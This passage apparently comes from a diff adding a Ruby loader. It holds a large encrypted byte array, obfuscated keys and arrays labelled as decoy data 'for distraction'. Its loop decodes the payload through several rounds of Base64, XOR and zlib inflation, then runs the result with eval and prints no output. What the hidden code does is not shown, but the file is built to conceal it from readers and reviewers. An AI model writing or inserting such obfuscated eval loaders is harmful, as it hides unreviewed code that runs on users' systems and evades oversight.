105, 3, 12, 82, 76, 188, 178, 93, 252, 45, 148, 245, 218, 116, 194, 236, 209, 162, 253, 132, 76, 192, 232, 29, 235, 55, 0, 125, 148, 40, 143, 156, 33, 242, 187, 202, 33, 195, 53, 61, 133, 122, 219, 219, 77, 8, 92, 215, 221, 135, 127, 119, 198, 74, 43, 192, 148, 73, 67, 161, 147, 112, 24, 5, 9, 47, 68, 225, 137, 23, 229, 139, 205, 162, 207, 151, 251, 57, 13, 196, 200, 36, 69, 190, 114, 17, 135, 246, 238, 54, 12, 143, 145, 240, 2, 178, 122, 31, 240, 165, 199, 28, 162, 5, 247, 177, 94, 207, 138, 202, 186, 3, 88, 120, 45, 102, 10, 212, 68, 228, 16, 164, 188, 59, 66, 153, 35, 169, 222, 156, 46, 92, 160, 112, 94, 189, 241, 203, 105, 187, 193, 9, 44, 38, 251, 174, 94, 46, 211, 124, 42, 246, 74, 28, 132, 211, 255, 184, 155, 48, 75, 64, 183, 139, 48, 242, 58, 114, 123, 147, 99, 186, 151, 9, 11, 239, 63, 221, 101, 95, 129, 193, 156, 88, 141, 57, 222, 196, 216, 86, 177, 186, 191, 87, 147, 216, 135, 13, 94, 201, 253, 195, 5, 106, 195, 208, 102, 210, 5, 49, 120, 210, 123, 141, 167, 29, 149, 98, 215, 112, 59, 218, 51, 137, 202, 14, 182, 114, 219, 10, 230, 118, 50, 237, 201, 157, 214, 137, 4, 249, 113, 178, 152, 122, 55, 38, 11, 100, 27, 227, 247, 165, 76, 66, 147, 211, 13, 78, 68, 68, 136, 197, 147, 254, 251, 250, 18, 89, 28, 154, 60, 239, 52, 247, 78, 157, 233, 186, 106, 5, 6, 104, 43, 129, 17, 107, 44, 80, 217, 187, 139, 198, 5, 159, 190, 106, 133, 250, 206, 222, 165, 185, 248, 127, 106, 221, 28, 49, 62, 236, 178, 92, 52, 208, 43, 196, 123, 151, 113, 52, 219, 10, 24, 63, 72, 13, 50, 41, 63, 131, 209, 87, 116, 39, 216, 15, 234, 23, 241, 105, 19, 107, 140, 10, 96, 89, 26, 149, 34, 208, 2, 155, 146, 183, 179, 84, 206, 137, 73, 247, 176, 18, 88, 58, 239, 0, 238, 231, 19, 1, 115, 241, 99, 250, 48, 79, 9, 124, 67, 0, 78, 111, 34, 88, 250, 165, 173, 140, 18, 191, 202, 212, 149, 23, 123, 51, 243, 75, 124, 149, 89, 218, 3, 158, 77, 121, 135, 9, 112, 201, 170, 210, 27, 200, 175, 13, 158, 50, 87, 24, 200, 213, 89, 11, 143, 58, 79, 249, 52, 97, 156, 168, 68, 108, 115, 5, 250, 25, 226, 141, 169, 201, 104, 16, 236, 51, 118, 124, 201, 34, 230, 99, 116, 216, 211, 121, 55, 156, 196, 61, 135, 161, 158, 222, 213, 1, 153, 24, 214, 252, 123, 106, 26, 19, 245, 146, 189, 109, 119, 192, 21, 1, 68, 183, 163, 163, 237, 189, 16, 35, 252, 13, 26, 243, 117, 175, 48, 71, 88, 143, 210, 183, 35, 141, 8, 113, 140, 141, 200, 114, 73, 31, 139, 152, 31, 99, 242, 187, 107, 158, 26, 116, 16, 198, 105, 1, 232, 1, 246, 121, 93, 252, 108, 115, 77, 144, 163, 253, 92, 21, 154, 152, 175, 132, 80, 60, 34, 140, 183, 10, 232, 144, 40, 4, 121, 57, 6, 92, 16, 24, 105, 240, 113, 176, 52, 234, 209, 104, 207, 112, 243, 124, 98, 226, 21, 21, 87, 246, 134, 59, 194, 175, 55, 215, 122, 215, 33, 242, 175, 254, 51, 56, 51, 134, 181, 164, 3, 5, 61, 41, 222, 194, 213, 239, 113, 98, 21, 128, 37, 211, 202, 104, 207, 9, 8, 40, 181, 237, 130, 85, 39, 79, 82, 179, 86, 7, 120, 159, 205, 154, 236, 87, 24, 19, 70, 55, 194, 218, 237, 217, 130, 10, 169, 40, 221, 197, 41, 119, 71, 137, 116, 140, 22, 74, 12, 32, 189, 64, 154, 98, 135, 66, 19, 109, 201, 28, 116, 193, 55, 53, 110, 21, 235, 219, 246, 193, 175, 130, 201, 24, 223, 214, 25, 97, 102, 88, 176, 31, 22, 149, 34, 37, 120, 182, 100, 20, 197, 136, 176, 208, 178, 163, 202, 130, 72, 127, 27, 70, 238, 219, 137, 255, 249, 208, 53, 128, 79, 108, 132, 68, 42, 169, 189, 209, 48, 88, 194, 221, 122, 68, 62, 252, 192, 225, 230, 221, 57, 164, 135, 52, 178, 240, 114, 94, 22, 242, 139, 119, 119, 208, 164, 149, 74, 135, 125, 223, 103, 168, 50, 151, 185, 45, 35, 66, 201, 116, 196, 53, 57, 174, 247, 26, 139, 122, 111, 175, 80, 136, 174, 154, 56, 225, 226, 71, 140, 6, 173, 189, 89, 197, 47, 117, 66, 94, 227, 62, 134, 246, 253, 203, 35, 68, 64, 214, 26, 118, 235, 150, 145, 48, 188, 171, 136, 49, 144, 109, 100, 53, 202, 53, 196, 109, 208, 206, 176, 91, 152, 236, 221, 206, 182, 244, 165, 198, 77, 212, 250, 159, 91, 224, 248, 66, 0, 112, 39, 212, 125, 40, 142, 21, 122, 200, 78, 96, 145, 51, 22, 53, 66, 221, 155, 107, 214, 18, 96, 198, 201, 171, 255, 15, 80, 236, 245, 94, 91, 80, 141, 156, 221, 95, 199, 242, 163, 201, 163, 184, 204, 120, 65, 5, 36, 194, 75, 134, 111, 237, 130, 59, 122, 154, 224, 168, 165, 194, 81, 205, 203, 254, 144, 88, 223, 44, 65, 107, 220, 59, 121, 67, 87, 138, 253, 132, 88, 148, 241, 198, 232, 31, 200, 236, 242, 196, 121, 228, 160, 232, 146, 130, 16, 42, 191, 142, 64, 182, 74, 211, 248, 9, 214, 195, 81, 77, 226, 59, 23, 5, 27, 182, 206, 180, 153, 75, 22, 116, 80, 195, 152, 78, 195, 242, 111, 32, 31, 65, 234, 190, 191, 225, 18, 180, 254, 154, 96, 49, 85, 182, 114, 107, 117, 220, 26, 236, 36, 31, 96, 174, 168, 125, 210, 227, 253, 173, 145, 122, 42, 249, 88, 81, 80, 12, 169, 78, 153, 131, 226, 135, 248, 125, 222, 250, 5, 238, 182, 188, 44, 177, 95, 183, 39, 3, 68, 128, 238, 14, 96, 194, 58, 227, 28, 210, 101, 78, 109, 140, 28, 105, 182, 186, 104, 46, 143, 121, 181, 224, 27, 181, 28, 186, 185, 77, 170, 187, 7, 142, 178, 154, 23, 117, 150, 98, 196, 125, 255, 125, 115, 28, 184, 153, 182, 231, 147, 110, 86, 126, 92, 197, 206, 128, 137, 250, 110, 13, 2, 140, 130, 85, 67, 22, 51, 229, 13, 167, 186, 245, 184, 151, 138, 32, 125, 126, 117, 107, 119, 108, 150, 2, 235, 166, 58, 155, 147, 68, 94, 37, 0, 214, 58, 178, 63, 99, 225, 80, 65, 6, 69, 139, 235, 53, 186, 129, 197, 236, 183, 111, 73, 150, 48, 7, 250, 89, 225, 244, 230, 18, 50, 1, 124, 216, 220, 48, 218, 51, 93, 82, 250, 124, 43, 11, 158, 76, 58, 208, 135, 100, 14, 203, 208, 81, 33, 165, 142, 189, 90, 3, 80, 13, 87, 243, 89, 186, 182, 247, 4, 242, 133, 172, 136, 96, 162, 130, 255, 26, 13, 148, 229, 25, 106, 140, 1, 222, 23, 19, 168, 48, 202, 49, 74, 55, 215, 225, 190, 184, 140, 49, 202, 132, 7, 212, 150, 229, 242, 30, 14, 40, 20, 26, 185, 176, 251, 238, 70, 115, 26, 144, 188, 250, 65, 87, 80, 58, 234, 78, 247, 174, 165, 85, 146, 179, 117, 20, 249, 221, 147, 184, 50, 173, 35, 19, 48, 116, 234, 216, 63, 43, 110, 238, 41, 69, 101, 184, 242, 186, 175, 81, 254, 228, 33, 63, 33, 90, 230, 231, 201, 115, 162, 121, 50, 238, 236, 118, 45, 233, 251, 166, 198, 168, 159, 64, 14, 124, 14, 124, 163, 213, 205, 123, 167, 189, 6, 245, 33, 174, 211, 208, 45, 92, 110, 120, 13, 220, 9, 5, 163, 224, 234, 103, 129, 255, 10, 34, 183, 207, 62, 216, 222, 115, 205, 130, 39, 48, 168, 54, 97, 214, 244, 220, 231, 207, 7, 87, 194, 86, 212, 224, 108, 81, 235, 55, 65, 196, 98, 14, 167, 155, 176, 51, 74, 239, 180, 92, 203, 47, 227, 196, 43, 229, 23, 164, 79, 208, 188, 58, 30, 27, 29, 252, 41, 131, 133, 83, 127, 121, 131, 238, 155, 111, 134, 134, 135, 23, 72, 239, 42, 243, 202, 5, 22, 121, 212, 230, 101, 133, 66, 100, 45, 226, 255, 106, 202, 188, 176, 162, 200, 238, 19, 38, 121, 40, 233, 29, 78, 74, 205, 90, 199, 160, 22, 102, 127, 163, 187, 3, 40, 139, 21, 110, 230, 57, 240, 11, 228, 54, 104, 199, 228, 46, 211, 9, 19, 221, 100, 154, 76, 149, 245, 243, 25, 184, 128, 162, 125, 252, 182, 47, 119, 83, 237, 192, 219, 143, 118, 26, 98, 221, 36, 4, 88, 97, 223, 44, 127, 139, 133, 87, 71, 151, 193, 99, 9, 0, 105, 57, 173, 171, 91, 250, 139, 206, 65, 184, 86, 85, 230, 106, 3, 156, 0, 110, 218, 163, 82, 193, 21, 59, 23, 90, 209, 158, 182, 72, 251, 86, 180, 193, 107, 82, 42, 8, 245, 139, 139, 142, 228, 183, 174, 225, 191, 197, 199, 56, 130, 113, 174, 110, 128, 177, 77, 157, 184, 40, 3, 133, 148, 111, 29, 1, 7, 147, 22, 126, 121, 179, 122, 217, 5, 1, 224, 35, 252, 183, 52, 130, 107, 44, 89, 250, 187, 215, 15, 172, 79, 255, 189, 184, 58, 143, 148, 39, 230, 169, 41, 166, 119, 184, 34, 1, 193, 210, 142, 50, 1, 94, 53, 44, 25, 79, 70, 64, 112, 220, 195, 229, 84, 17, 35, 188, 102, 50, 54, 198, 59, 250, 205, 248, 169, 239, 251, 11, 249, 31, 235, 45, 119, 38, 231, 209, 53, 170, 164, 221, 107, 208, 82, 97, 199, 94, 21, 29, 106, 183, 174, 0, 65, 2, 138, 183, 83, 140, 213, 60, 24, 54, 215, 7, 232, 206, 211, 81, 220, 212, 191, 223, 174, 166, 126, 85, 183, 63, 70, 239, 250, 253, 174, 220, 114, 158, 165, 115, 122, 218, 10, 171, 252, 200, 240, 165, 70, 183, 222, 50, 85, 221, 47, 130, 254, 155, 122, 172, 136, 200, 131, 201, 184, 208, 253, 152, 192, 106, 164, 87, 203, 54, 1, 75, 99, 125, 232, 202, 15, 32, 208, 170, 72, 199, 190, 194, 80, 250, 226, 159, 82, 105, 44, 162, 30, 192, 186, 141, 115, 195, 107, 125, 200, 168, 235, 184, 90, 152, 64, 14, 67, 222, 169, 205, 146, 51, 186, 185, 145, 145, 34, 176, 203, 100, 251, 117, 241, 29, 252, 71, 94, 129, 74, 27, 114, 129, 2, 3, 157, 210, 138, 68, 54, 221, 70, 122, 247, 208, 92, 182, 183, 72, 245, 56, 10, 92, 182, 225, 245, 54, 97, 226, 228, 178, 206, 120, 146, 148, 37, 133, 176, 86, 129, 155, 183, 144, 54, 109, 46, 143, 68, 186, 167, 136, 112, 3, 51, 64, 181, 121, 97, 127, 87, 42, 232, 3, 12, 75, 161, 180, 157, 212, 187, 245, 231, 105, 160, 190, 202, 41, 193, 115, 204, 86, 154, 114, 246, 24, 208, 61, 214, 57, 53, 161, 5, 62, 121, 172, 221, 206, 159, 138, 160, 71, 1, 121, 34, 208, 231, 191, 1, 194, 212, 56, 24, 101, 250, 49, 189, 104, 229, 3, 244, 111, 145, 97, 117, 34, 181, 243, 225, 234, 241, 76, 194, 103, 210, 76, 220, 138, 193, 201, 92, 83, 70, 233, 144, 203, 197, 124, 136, 79, 19, 29, 33, 118, 46, 10, 201, 139, 47, 7, 125, 117, 58, 96, 161, 104, 227, 120, 15, 31, 50, 204, 204, 201, 29, 64, 2, 228, 121, 15, 102, 103, 133, 190, 161, 200, 27, 62, 121, 244, 227, 128, 150, 97, 236, 187, 206, 168, 44, 236, 46, 37, 83, 120, 192, 117, 80, 161, 68, 234, 211, 204, 133, 7, 20, 46, 85, 225, 252, 68, 164, 172, 172, 211, 159, 66, 90, 49, 167, 26, 56, 19, 161, 47, 182, 61, 254, 176, 214, 159, 139, 177, 4, 201, 198, 249, 1, 142, 31, 48, 9, 91, 158, 153, 133, 212, 221, 88, 146, 44, 216, 99, 98, 69, 175, 9, 252, 47, 29, 89, 65, 117, 45, 80, 171, 70, 63, 13, 163, 124, 141, 133, 52, 100, 175, 2, 217, 158, 57, 164, 172, 187, 15, 223, 35, 0, 80, 76, 92, 46, 120, 3, 240, 46, 7, 163, 5, 8, 169, 14, 41, 224, 85, 3, 63, 193, 34, 10, 190, 209, 140, 219, 243, 58, 55, 99, 39, 247, 51, 99, 214, 71, 35, 153, 99, 17, 161, 238, 77, 169, 40, 129, 165, 163, 89, 160, 231, 130, 28, 151, 0, 67, 163, 155, 45, 193, 130, 253, 72, 75, 134, 92, 126, 59, 42, 218, 8, 55, 124, 251, 81, 190, 250, 220, 153, 154, 137, 211, 114, 25, 113, 70, 24, 250, 191, 150, 120, 51, 240, 31, 230, 70, 184, 25, 186, 15, 31, 84, 215, 226, 2, 172, 129, 60, 225, 133, 187, 118, 15, 243, 158, 35, 125] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_a9222b8 = [151, 96, 250, 153, 165, 54, 204, 69, 100, 205, 181, 129, 89, 20, 82, 18, 172, 107, 30, 137]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_b01e253 = [0, 1, 0, 0, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_s1ef092 = 'e93c4af8a4bea31a4e74fb8405703ae0aede8b883c29529091517e03879f2957'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_h9d04c4 = [59, 104, 181, 198, 93, 234, 155, 62, 35, 10, 241, 223, 225, 25, 67, 22, 48, 56, 161, 222, 163, 136, 126, 40, 1, 27, 204, 252, 216, 150, 45, 105, 85, 163, 60, 175, 31, 192, 121, 141, 179, 100, 236, 216, 20, 224, 23, 82, 53, 129, 81, 71, 17, 167, 64, 85, 107, 80, 195, 210, 249, 105, 82, 146, 157, 172, 46, 76, 41, 51, 36, 45, 238, 64, 241, 220, 243, 2, 251, 100, 224, 115, 89, 29, 131, 2, 118, 17, 28, 0, 148, 115, 246, 255, 61, 90, 255, 15]
|
|
64
|
+
_f222e7d = [75, 240, 89, 73, 46, 250, 202, 150, 18, 240, 196, 129, 46, 100, 178, 20, 63, 94, 237, 69, 84, 225, 112, 211, 175, 152, 245, 6, 124, 222, 33, 152, 23, 198, 240, 254, 22, 219, 42, 108, 254, 9, 118, 75, 141, 11, 195, 223, 46, 122, 168, 89, 12, 48, 51, 178, 223, 190, 76, 190, 60, 108, 24, 213, 119, 13, 71, 23, 134, 103, 14, 206, 44, 31, 210, 143, 235, 149, 17, 112, 71, 55, 220, 176, 203, 20, 165, 44, 254, 116, 95, 111, 221, 131, 104, 183, 38, 245, 171, 224, 122, 219, 70, 6, 61, 85, 10, 157, 80, 160, 16, 164, 113, 214, 67, 93]
|
|
65
|
+
_d5dbe1d = [129, 208, 35, 231, 64, 223, 160, 93, 211, 62, 90, 205, 183, 135, 22, 239, 120, 223, 181, 17, 109, 66, 133, 77, 20, 20, 50, 249, 92, 180, 66, 18, 178, 219, 247, 122, 46, 231, 80, 80, 110, 101, 116, 240, 234, 80, 232, 30, 39, 75, 168, 241, 140, 113, 18, 143, 118, 22, 188, 35, 216, 193, 6, 238, 169, 28, 7, 53, 189, 206, 142, 151, 194, 175, 2, 145, 166, 41, 201, 131, 104, 187, 163, 104, 57, 229, 51, 8, 190, 92, 165, 47, 76, 86, 78, 174, 71, 166, 150, 250, 40, 52, 90, 188, 140, 95, 182, 43, 161, 122, 229, 73, 103, 141, 53, 69, 69, 140, 192, 128, 139, 155, 224, 101, 82, 98, 227, 164, 80, 102, 118, 117, 173, 125, 172, 26, 1, 204, 85, 205, 222, 53, 156, 113, 3, 164, 23, 61, 129]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _q435933.call(_s431060, _b01e253, _a9222b8, _s1ef092)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_y3ceb5b = _s431060.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_vcfb334|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_x497eae = 5 - _vcfb334 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_bf47eb8 = 4
|
|
84
|
+
_n9992e9 = _x497eae * _bf47eb8
|
|
85
|
+
_c3b1987 = _a9222b8[_n9992e9, _bf47eb8]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _b01e253[_x497eae] == 1
|
|
93
|
+
_me2fc27 = _y3ceb5b.pack('C*')
|
|
94
|
+
_me2fc27 = Base64.strict_decode64(_me2fc27)
|
|
95
|
+
_y3ceb5b = _me2fc27.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_y3ceb5b = _s442439.call(_y3ceb5b, _c3b1987)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_me2fc27 = _y3ceb5b.pack('C*')
|
|
103
|
+
_me2fc27 = Zlib::Inflate.inflate(_me2fc27)
|
|
104
|
+
_y3ceb5b = _me2fc27.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_k93b02d = _y3ceb5b.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _k93b02d.strip.empty? || _k93b02d.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_k93b02d, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _w1f7a3d
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_w1f7a3d.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|